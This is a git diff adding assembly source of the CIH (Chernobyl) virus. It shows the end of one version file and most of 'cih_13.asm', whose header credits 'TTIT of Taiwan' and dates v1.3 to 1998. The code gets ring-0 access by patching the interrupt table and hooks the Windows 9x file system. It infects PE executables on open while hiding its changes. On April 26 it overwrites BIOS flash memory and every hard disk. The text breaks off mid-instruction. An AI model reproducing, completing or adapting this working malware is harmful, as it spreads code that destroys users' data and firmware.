VxDCall, VMM Modifies * +; * the 'int 20h' and the * +; * 'Service Identifier' * +; * to 'Call [XXXXXXXX]'. * +; *************************** +; * Before Writing My Virus * +; * to File, I Must Restore * +; * them First. ^__^ * +; *************************** + + lea eax, (LastVxDCallAddress-2-@9)[esi] + + mov cl, VxDCallTableSize + +LoopOfRestoreVxDCallID: + mov word ptr [eax], 20cdh + + mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] + mov [eax+2], edx + + movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] + sub eax, edx + + loop LoopOfRestoreVxDCallID + +; *************************** +; * Let's Write * +; * Virus Code to the File * +; *************************** + +WriteVirusCodeToFile: + mov eax, dr1 + mov ebx, [eax+10h] + mov edi, [eax] + +LoopOfWriteVirusCodeToFile: + + pop ecx + jecxz SetFileModificationMark + + mov esi, ecx + mov eax, 0d601h + pop edx + pop ecx + + call edi ; VXDCall IFSMgr_Ring0_FileIO + + jmp LoopOfWriteVirusCodeToFile + +; *************************** +; * Let's Set CF = 1 ==> * +; * Need to Restore File * +; * Modification Time * +; *************************** + +SetFileModificationMark: + pop ebx + pop eax + + stc ; Enable CF(Carry Flag) + pushf + +; ************************************* +; * Close File * +; ************************************* + +CloseFile: + xor eax, eax + mov ah, 0d7h + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Need to Restore File Modification * +; * Time !? * +; ************************************* + + popf + pop esi + jnc IsKillComputer + +; ************************************* +; * Restore File Modification Time * +; ************************************* + + mov ebx, edi + + mov ax, 4303h + mov ecx, (FileModificationTime-@7)[esi] + mov edi, (FileModificationTime+2-@7)[esi] + call ebx ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Disable OnBusy * +; ************************************* + +DisableOnBusy: + dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy + +; ************************************* +; * Call Previous FileSystemApiHook * +; ************************************* + +prevhook: + popad + + mov eax, dr0 ; + jmp [eax] ; Jump to prevhook + +; ************************************* +; * Call the Function that the IFS * +; * Manager Would Normally Call to * +; * Implement this Particular I/O * +; * Request. * +; ************************************* + +pIFSFunc: + mov ebx, esp + push dword ptr [ebx+20h+04h+14h] ; Push pioreq + call [ebx+20h+04h] ; Call pIFSFunc + pop ecx ; + + mov [ebx+1ch], eax ; Modify EAX Value in Stack + +; *************************** +; * After Calling pIFSFunc, * +; * Get Some Data from the * +; * Returned pioreq. * +; *************************** + + cmp dword ptr [ebx+20h+04h+04h], 00000024h + jne QuitMyVirusFileSystemHook + +; ***************** +; * Get the File * +; * Modification * +; * Date and Time * +; * in DOS Format.* +; ***************** + + mov eax, [ecx+28h] + mov (FileModificationTime-@6)[esi], eax + +; *************************** +; * Quit My Virus' * +; * IFSMgr_FileSystemHook * +; *************************** + +QuitMyVirusFileSystemHook: + + popad + + ret + +; ************************************* +; * Kill Computer !? ... *^_^* * +; ************************************* + +IsKillComputer: + ; Get Now Month from BIOS CMOS + mov ax, 0708h + out 70h, al + in al, 71h + + xchg ah, al + + ; Get Now Day from BIOS CMOS + out 70h, al + in al, 71h + + xor ax, 0426h ; 04/26/???? + jne DisableOnBusy + +; ************************************** +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; ************************************** + +; *************************** +; * Kill BIOS EEPROM * +; *************************** + + mov bp, 0cf8h + lea esi, IOForEEPROM-@7[esi] + +; *********************** +; * Show BIOS Page in * +; * 000E0000 - 000EFFFF * +; * ( 64 KB ) * +; *********************** + + mov edi, 8000384ch + mov dx, 0cfeh + cli + call esi + +; *********************** +; * Show BIOS Page in * +; * 000F0000 - 000FFFFF * +; * ( 64 KB ) * +; *********************** + + mov di, 0058h + dec edx ; and al,0fh + mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h + call esi + +; *********************** +; * Show the BIOS Extra * +; * ROM Data in Memory * +; * 000E0000 - 000E01FF * +; * ( 512 Bytes ) * +; * , and the Section * +; * of Extra BIOS can * +; * be Writted... * +; *********************** + + lea ebx, EnableEEPROMToWrite-@10[esi] + + mov eax, 0e5555h + mov ecx, 0e2aaah + call ebx + mov byte ptr [eax], 60h + + push ecx + loop $ + +; *********************** +; * Kill the BIOS Extra * +; * ROM Data in Memory * +; * 000E0000 - 000E007F * +; * ( 80h Bytes ) * +; *********************** + + xor ah, ah + mov [eax], al + + xchg ecx, eax + loop $ + +; *********************** +; * Show and Enable the * +; * BIOS Main ROM Data * +; * 000E0000 - 000FFFFF * +; * ( 128 KB ) * +; * can be Writted... * +; *********************** + + mov eax, 0f5555h + pop ecx + mov ch, 0aah + call ebx + mov byte ptr [eax], 20h + + loop $ + +; *********************** +; * Kill the BIOS Main * +; * ROM Data in Memory * +; * 000FE000 - 000FE07F * +; * ( 80h Bytes ) * +; *********************** + + mov ah, 0e0h + mov [eax], al + +; *********************** +; * Hide BIOS Page in * +; * 000F0000 - 000FFFFF * +; * ( 64 KB ) * +; *********************** + ; or al,10h + mov word ptr (BooleanCalculateCode-@10)[esi], 100ch + call esi + +; *************************** +; * Kill All HardDisk * +; *************************************************** +; * IOR Structure of IOS_SendCommand Needs * +; *************************************************** +; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * +; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * +; *************************************************** + +KillHardDisk: + xor ebx, ebx + mov bh, FirstKillHardDiskNumber + push ebx + sub esp, 2ch + push 0c0001000h + mov bh, 08h + push ebx + push ecx + push ecx + push ecx + push 40000501h + inc ecx + push ecx + push ecx + + mov esi, esp + sub esp, 0ach + +LoopOfKillHardDisk: + int 20h + dd 00100004h ; VXDCall IOS_SendCommand + + cmp word ptr [esi+06h], 0017h + je KillNextDataSection + +ChangeNextHardDisk: + inc byte ptr [esi+4dh] + + jmp LoopOfKillHardDisk + +KillNextDataSection: + add dword ptr [esi+10h], ebx + mov byte ptr [esi+4dh], FirstKillHardDiskNumber + + jmp LoopOfKillHardDisk + +; *************************** +; * Enable EEPROM to Write * +; *************************** + +EnableEEPROMToWrite: + mov [eax], cl + mov [ecx], al + mov byte ptr [eax], 80h + mov [eax], cl + mov [ecx], al + + ret + +; *************************** +; * IO for EEPROM * +; *************************** + +IOForEEPROM: +@10 = IOForEEPROM + + xchg eax, edi + xchg edx, ebp + out dx, eax + + xchg eax, edi + xchg edx, ebp + in al, dx + +BooleanCalculateCode = $ + or al, 44h + + xchg eax, edi + xchg edx, ebp + out dx, eax + + xchg eax, edi + xchg edx, ebp + out dx, al + + ret + +; ********************************************************* +; * Static Data * +; ********************************************************* + +LastVxDCallAddress = IFSMgr_Ring0_FileIO +VxDCallAddressTable db 00h + db IFSMgr_RemoveFileSystemApiHook-_PageAllocate + db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook + db IFSMgr_Ring0_FileIO-UniToBCSPath + +VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h +VxDCallTableSize = ($-VxDCallIDTable)/04h + +; ********************************************************* +; * Virus Version Copyright * +; ********************************************************* + +VirusVersionCopyright db 'CIH v' + db MajorVirusVersion+'0' + db '.' + db MinorVirusVersion+'0' + db ' TTIT' + +; ********************************************************* +; * Virus Size * +; ********************************************************* + +VirusSize = $ +; + SizeOfVirusCodeSectionTableEndMark(04h) +; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) +; + SizeOfTheFirstVirusCodeSectionTable(04h) + +; ********************************************************* +; * Dynamic Data * +; ********************************************************* + +VirusGameDataStartAddress = VirusSize +@6 = VirusGameDataStartAddress +OnBusy db 0 +FileModificationTime dd ? + +FileNameBuffer db FileNameBufferSize dup(?) +@7 = FileNameBuffer + +DataBuffer = $ +@8 = DataBuffer +NumberOfSections dw ? +TimeDateStamp dd ? +SymbolsPointer dd ? +NumberOfSymbols dd ? +SizeOfOptionalHeader dw ? +_Characteristics dw ? +Magic dw ? +LinkerVersion dw ? +SizeOfCode dd ? +SizeOfInitializedData dd ? +SizeOfUninitializedData dd ? +AddressOfEntryPoint dd ? +BaseOfCode dd ? +BaseOfData dd ? +ImageBase dd ? +@9 = $ +SectionAlignment dd ? +FileAlignment dd ? +OperatingSystemVersion dd ? +ImageVersion dd ? +SubsystemVersion dd ? +Reserved dd ? +SizeOfImage dd ? +SizeOfHeaders dd ? +SizeOfImageHeaderToRead = $-NumberOfSections + +NewAddressOfEntryPoint = DataBuffer ; DWORD +SizeOfImageHeaderToWrite = 04h + +StartOfSectionTable = @9 +SectionName = StartOfSectionTable ; QWORD +VirtualSize = StartOfSectionTable+08h ; DWORD +VirtualAddress = StartOfSectionTable+0ch ; DWORD +SizeOfRawData = StartOfSectionTable+10h ; DWORD +PointerToRawData = StartOfSectionTable+14h ; DWORD +PointerToRelocations = StartOfSectionTable+18h ; DWORD +PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD +NumberOfRelocations = StartOfSectionTable+20h ; WORD +NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD +Characteristics = StartOfSectionTable+24h ; DWORD +SizeOfScetionTable = Characteristics+04h-SectionName + +; ********************************************************* +; * Virus Total Need Memory * +; ********************************************************* + +VirusNeedBaseMemory = $ + +VirusTotalNeedMemory = @9 +; + NumberOfSections(??)*SizeOfScetionTable(28h) +; + SizeOfVirusCodeSectionTableEndMark(04h) +; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) +; + SizeOfTheFirstVirusCodeSectionTable(04h) + +; ********************************************************* +; ********************************************************* + +VirusGame ENDS + + END FileHeader \ No newline at end of file diff --git a/c/cih_13.asm b/c/cih_13.asm new file mode 100755 index 0000000..403bd8d --- /dev/null +++ b/c/cih_13.asm @@ -0,0 +1,1490 @@ +; **************************************************************************** +; * The Virus Program Information * +; **************************************************************************** +; * * +; * Designer : CIH Original Place : TTIT of Taiwan * +; * Create Date : 04/26/1998 Now Version : 1.3 * +; * Modification Time : 05/24/1998 * +; * * +; *==========================================================================* +; * Modification History * +; *==========================================================================* +; * v1.0 1. Create the Virus Program. * +; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * +; * 04/26/1998 3. Virus Code doesn't Reload into System. * +; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * +; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * +; * 6. When System Opens Existing PE File, the File will be * +; * Infected, and the File doesn't be Reinfected. * +; * 7. It is also Infected, even the File is Read-Only. * +; * 8. When the File is Infected, the Modification Date and Time * +; * of the File also don't be Changed. * +; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * +; * Previous FileSystemApiHook, it will Call the Function * +; * that the IFS Manager Would Normally Call to Implement * +; * this Particular I/O Request. * +; * 10. The Virus Size is only 656 Bytes. * +; *==========================================================================* +; * v1.1 1. Especially, the File that be Infected will not Increase * +; * it's Size... ^__^ * +; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * +; * When Exception Error Occurs, Our OS System should be in * +; * Windows NT. So My Cute Virus will not Continue to Run, * +; * it will Jmup to Original Application to Run. * +; * 3. Use Better Algorithm, Reduce Virus Code Size. * +; * 4. The Virus "Basic" Size is only 796 Bytes. * +; *==========================================================================* +; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * +; * 2. Modify the Bug of v1.1 * +; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * +; *==========================================================================* +; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. * +; * So When Open WinZip Self-Extractor ==> Don't Infect it. * +; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. * +; **************************************************************************** + + .586P + +; **************************************************************************** +; * Original PE Executable File(Don't Modify this Section) * +; **************************************************************************** + +OriginalAppEXE SEGMENT + +FileHeader: + db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h + db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h + db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h + db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh + db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h + db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h + db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh + db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh + db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h + db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah + db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h + db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h + db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h + db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h + db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h + db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h + db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h + db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h + db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h + db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + dd 00000000h, VirusSize + +OriginalAppEXE ENDS + +; **************************************************************************** +; * My Virus Game * +; **************************************************************************** + +; ********************************************************* +; * Constant Define * +; ********************************************************* + +TRUE = 1 +FALSE = 0 + +DEBUG = TRUE + +MajorVirusVersion = 1 +MinorVirusVersion = 3 + +VirusVersion = MajorVirusVersion*10h+MinorVirusVersion + + +IF DEBUG + + FirstKillHardDiskNumber = 81h + HookExceptionNumber = 05h + +ELSE + + FirstKillHardDiskNumber = 80h + HookExceptionNumber = 03h + +ENDIF + + +FileNameBufferSize = 7fh + +; ********************************************************* +; ********************************************************* + +VirusGame SEGMENT + + ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame + ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame + +; ********************************************************* +; * Ring3 Virus Game Initial Program * +; ********************************************************* + +MyVirusStart: + push ebp + +; ************************************* +; * Let's Modify Structured Exception * +; * Handing, Prevent Exception Error * +; * Occurrence, Especially in NT. * +; ************************************* + + lea eax, [esp-04h*2] + + xor ebx, ebx + xchg eax, fs:[ebx] + + call @0 +@0: + pop ebx + + lea ecx, StopToRunVirusCode-@0[ebx] + push ecx + + push eax + +; ************************************* +; * Let's Modify * +; * IDT(Interrupt Descriptor Table) * +; * to Get Ring0 Privilege... * +; ************************************* + + push eax ; + sidt [esp-02h] ; Get IDT Base Address + pop ebx ; + + add ebx, HookExceptionNumber*08h+04h ; ZF = 0 + + cli + + mov ebp, [ebx] ; Get Exception Base + mov bp, [ebx-04h] ; Entry Point + + lea esi, MyExceptionHook-@1[ecx] + + push esi + + mov [ebx-04h], si ; + shr esi, 16 ; Modify Exception + mov [ebx+02h], si ; Entry Point Address + + pop esi + +; ************************************* +; * Generate Exception to Get Ring0 * +; ************************************* + + int HookExceptionNumber ; GenerateException +ReturnAddressOfEndException = $ + +; ************************************* +; * Merge All Virus Code Section * +; ************************************* + + push esi + mov esi, eax + +LoopOfMergeAllVirusCodeSection: + + mov ecx, [eax-04h] + + rep movsb + + sub eax, 08h + + mov esi, [eax] + + or esi, esi + jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 + + jmp LoopOfMergeAllVirusCodeSection + +QuitLoopOfMergeAllVirusCodeSection: + + pop esi + +; ************************************* +; * Generate Exception Again * +; ************************************* + + int HookExceptionNumber ; GenerateException Again + +; ************************************* +; * Let's Restore * +; * Structured Exception Handing * +; ************************************* + +ReadyRestoreSE: + sti + + xor ebx, ebx + + jmp RestoreSE + +; ************************************* +; * When Exception Error Occurs, * +; * Our OS System should be in NT. * +; * So My Cute Virus will not * +; * Continue to Run, it Jmups to * +; * Original Application to Run. * +; ************************************* + +StopToRunVirusCode: +@1 = StopToRunVirusCode + + xor ebx, ebx + mov eax, fs:[ebx] + mov esp, [eax] + +RestoreSE: + pop dword ptr fs:[ebx] + pop eax + +; ************************************* +; * Return Original App to Execute * +; ************************************* + + pop ebp + + push 00401000h ; Push Original +OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack + + ret ; Return to Original App Entry Point + +; ********************************************************* +; * Ring0 Virus Game Initial Program * +; ********************************************************* + +MyExceptionHook: +@2 = MyExceptionHook + + jz InstallMyFileSystemApiHook + +; ************************************* +; * Do My Virus Exist in System !? * +; ************************************* + + mov ecx, dr0 + jecxz AllocateSystemMemoryPage + + add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException + +; ************************************* +; * Return to Ring3 Initial Program * +; ************************************* + +ExitRing0Init: + mov [ebx-04h], bp ; + shr ebp, 16 ; Restore Exception + mov [ebx+02h], bp ; + + iretd + +; ************************************* +; * Allocate SystemMemory Page to Use * +; ************************************* + +AllocateSystemMemoryPage: + + mov dr0, ebx ; Set the Mark of My Virus Exist in System + + push 00000000fh ; + push ecx ; + push 0ffffffffh ; + push ecx ; + push ecx ; + push ecx ; + push 000000001h ; + push 000000002h ; + int 20h ; VMMCALL _PageAllocate +_PageAllocate = $ ; + dd 00010053h ; Use EAX, ECX, EDX, and flags + add esp, 08h*04h + + xchg edi, eax ; EDI = SystemMemory Start Address + + lea eax, MyVirusStart-@2[esi] + + iretd ; Return to Ring3 Initial Program + +; ************************************* +; * Install My File System Api Hook * +; ************************************* + +InstallMyFileSystemApiHook: + + lea eax, FileSystemApiHook-@6[edi] + + push eax ; + int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook +IFSMgr_InstallFileSystemApiHook = $ ; + dd 00400067h ; Use EAX, ECX, EDX, and flags + + mov dr0, eax ; Save OldFileSystemApiHook Address + + pop eax ; EAX = FileSystemApiHook Address + + ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point + mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] + mov edx, [ecx] + mov OldInstallFileSystemApiHook-@3[eax], edx + + ; Modify IFSMgr_InstallFileSystemApiHook Entry Point + lea eax, InstallFileSystemApiHook-@3[eax] + mov [ecx], eax + + cli + + jmp ExitRing0Init + +; ********************************************************* +; * Code Size of Merge Virus Code Section * +; ********************************************************* + +CodeSizeOfMergeVirusCodeSection = offset $ + +; ********************************************************* +; * IFSMgr_InstallFileSystemApiHook * +; ********************************************************* + +InstallFileSystemApiHook: + push ebx + + call @4 ; +@4: ; + pop ebx ; mov ebx, offset FileSystemApiHook + add ebx, FileSystemApiHook-@4 ; + + push ebx + int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook +IFSMgr_RemoveFileSystemApiHook = $ + dd 00400068h ; Use EAX, ECX, EDX, and flags + pop eax + + ; Call Original IFSMgr_InstallFileSystemApiHook + ; to Link Client FileSystemApiHook + push dword ptr [esp+8] + call OldInstallFileSystemApiHook-@3[ebx] + pop ecx + + push eax + + ; Call Original IFSMgr_InstallFileSystemApiHook + ; to Link My FileSystemApiHook + push ebx + call OldInstallFileSystemApiHook-@3[ebx] + pop ecx + + mov dr0, eax ; Adjust OldFileSystemApiHook Address + + pop eax + + pop ebx + + ret + +; ********************************************************* +; * Static Data * +; ********************************************************* + +OldInstallFileSystemApiHook dd ? + +; ********************************************************* +; * IFSMgr_FileSystemHook * +; ********************************************************* + +; ************************************* +; * IFSMgr_FileSystemHook Entry Point * +; ************************************* + +FileSystemApiHook: +@3 = FileSystemApiHook + + pushad + + call @5 ; +@5: ; + pop esi ; mov esi, offset VirusGameDataStartAddress + add esi, VirusGameDataStartAddress-@5 + +; ************************************* +; * Is OnBusy !? * +; ************************************* + + test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) + jnz pIFSFunc ; goto pIFSFunc + +; ************************************* +; * Is OpenFile !? * +; ************************************* + + ; if ( NotOpenFile ) + ; goto prevhook + lea ebx, [esp+20h+04h+04h] + cmp dword ptr [ebx], 00000024h + jne prevhook + +; ************************************* +; * Enable OnBusy * +; ************************************* + + inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy + +; ************************************* +; * Get FilePath's DriveNumber, * +; * then Set the DriveName to * +; * FileNameBuffer. * +; ************************************* +; * Ex. If DriveNumber is 03h, * +; * DriveName is 'C:'. * +; ************************************* + + ; mov esi, offset FileNameBuffer + add esi, FileNameBuffer-@6 + + push esi + + mov al, [ebx+04h] + cmp al, 0ffh + je CallUniToBCSPath + + add al, 40h + mov ah, ':' + + mov [esi], eax + + inc esi + inc esi + +; ************************************* +; * UniToBCSPath * +; ************************************* +; * This Service Converts * +; * a Canonicalized Unicode Pathname * +; * to a Normal Pathname in the * +; * Specified BCS Character Set. * +; ************************************* + +CallUniToBCSPath: + push 00000000h + push FileNameBufferSize + mov ebx, [ebx+10h] + mov eax, [ebx+0ch] + add eax, 04h + push eax + push esi + int 20h ; VXDCall UniToBCSPath +UniToBCSPath = $ + dd 00400041h + add esp, 04h*04h + +; ************************************* +; * Is FileName '.EXE' !? * +; ************************************* + + ; cmp [esi+eax-04h], '.EXE' + cmp [esi+eax-04h], 'EXE.' + pop esi + jne DisableOnBusy + +IF DEBUG + +; ************************************* +; * Only for Debug * +; ************************************* + + ; cmp [esi+eax-06h], 'FUCK' + cmp [esi+eax-06h], 'KCUF' + jne DisableOnBusy + +ENDIF + +; ************************************* +; * Is Open Existing File !? * +; ************************************* + + ; if ( NotOpenExistingFile ) + ; goto DisableOnBusy + cmp word ptr [ebx+18h], 01h + jne DisableOnBusy + +; ************************************* +; * Get Attributes of the File * +; ************************************* + + mov ax, 4300h + int 20h ; VXDCall IFSMgr_Ring0_FileIO +IFSMgr_Ring0_FileIO = $ + dd 00400032h + + jc DisableOnBusy + + push ecx + +; ************************************* +; * Get IFSMgr_Ring0_FileIO Address * +; ************************************* + + mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] + mov edi, [edi] + +; ************************************* +; * Is Read-Only File !? * +; ************************************* + + test cl, 01h + jz OpenFile + +; ************************************* +; * Modify Read-Only File to Write * +; ************************************* + + mov ax, 4301h + xor ecx, ecx + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Open File * +; ************************************* + +OpenFile: + xor eax, eax + mov ah, 0d5h + xor ecx, ecx + xor edx, edx + inc edx + mov ebx, edx + inc ebx + call edi ; VXDCall IFSMgr_Ring0_FileIO + + xchg ebx, eax ; mov ebx, FileHandle + +; ************************************* +; * Need to Restore * +; * Attributes of the File !? * +; ************************************* + + pop ecx + + pushf + + test cl, 01h + jz IsOpenFileOK + +; ************************************* +; * Restore Attributes of the File * +; ************************************* + + mov ax, 4301h + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Is Open File OK !? * +; ************************************* + +IsOpenFileOK: + popf + + jc DisableOnBusy + +; ************************************* +; * Open File Already Succeed. ^__^ * +; ************************************* + + push esi ; Push FileNameBuffer Address to Stack + + pushf ; Now CF = 0, Push Flag to Stack + + add esi, DataBuffer-@7 ; mov esi, offset DataBuffer + +; *************************** +; * Get OffsetToNewHeader * +; *************************** + + xor eax, eax + mov ah, 0d6h + + ; For Doing Minimal VirusCode's Length, + ; I Save EAX to EBP. + mov ebp, eax + + xor ecx, ecx + mov cl, 04h + xor edx, edx + mov dl, 3ch + call edi ; VXDCall IFSMgr_Ring0_FileIO + + mov edx, [esi] + +; *************************** +; * Get 'PE\0' Signature * +; * of ImageFileHeader, and * +; * Infected Mark. * +; *************************** + + dec edx + + mov eax, ebp + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Is PE !? * +; *************************** +; * Is the File * +; * Already Infected !? * +; *************************** + + ; cmp [esi], '\0PE\0' + cmp dword ptr [esi], 00455000h + jne CloseFile + +; ************************************* +; * The File is ^o^ * +; * PE(Portable Executable) indeed. * +; ************************************* +; * The File isn't also Infected. * +; ************************************* + +; ************************************* +; * Start to Infect the File * +; ************************************* +; * Registers Use Status Now : * +; * * +; * EAX = 04h * +; * EBX = File Handle * +; * ECX = 04h * +; * EDX = 'PE\0\0' Signature of * +; * ImageFileHeader Pointer's * +; * Former Byte. * +; * ESI = DataBuffer Address ==> @8 * +; * EDI = IFSMgr_Ring0_FileIO Address * +; * EBP = D600h ==> Read Data in File * +; ************************************* +; * Stack Dump : * +; * * +; * ESP => ------------------------- * +; * | EFLAG(CF=0) | * +; * ------------------------- * +; * | FileNameBufferPointer | * +; * ------------------------- * +; * | EDI | * +; * ------------------------- * +; * | ESI | * +; * ------------------------- * +; * | EBP | * +; * ------------------------- * +; * | ESP | * +; * ------------------------- * +; * | EBX | * +; * ------------------------- * +; * | EDX | * +; * ------------------------- * +; * | ECX | * +; * ------------------------- * +; * | EAX | * +; * ------------------------- * +; * | Return Address | * +; * ------------------------- * +; ************************************* + + push ebx ; Save File Handle + + push 00h ; Set VirusCodeSectionTableEndMark + +; *************************** +; * Let's Set the * +; * Virus' Infected Mark * +; *************************** + + push 01h ; Size + push edx ; Pointer of File + push edi ; Address of Buffer + +; *************************** +; * Save ESP Register * +; *************************** + + mov dr1, esp + +; *************************** +; * Let's Set the * +; * NewAddressOfEntryPoint * +; * ( Only First Set Size ) * +; *************************** + + push eax ; Size + +; *************************** +; * Let's Read * +; * Image Header in File * +; *************************** + + mov eax, ebp + mov cl, SizeOfImageHeaderToRead + add edx, 07h ; Move EDX to NumberOfSections + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Let's Set the * +; * NewAddressOfEntryPoint * +; * ( Set Pointer of File, * +; * Address of Buffer ) * +; *************************** + + lea eax, (AddressOfEntryPoint-@8)[edx] + push eax ; Pointer of File + + lea eax, (NewAddressOfEntryPoint-@8)[esi] + push eax ; Address of Buffer + +; *************************** +; * Move EDX to the Start * +; * of SectionTable in File * +; *************************** + + movzx eax, 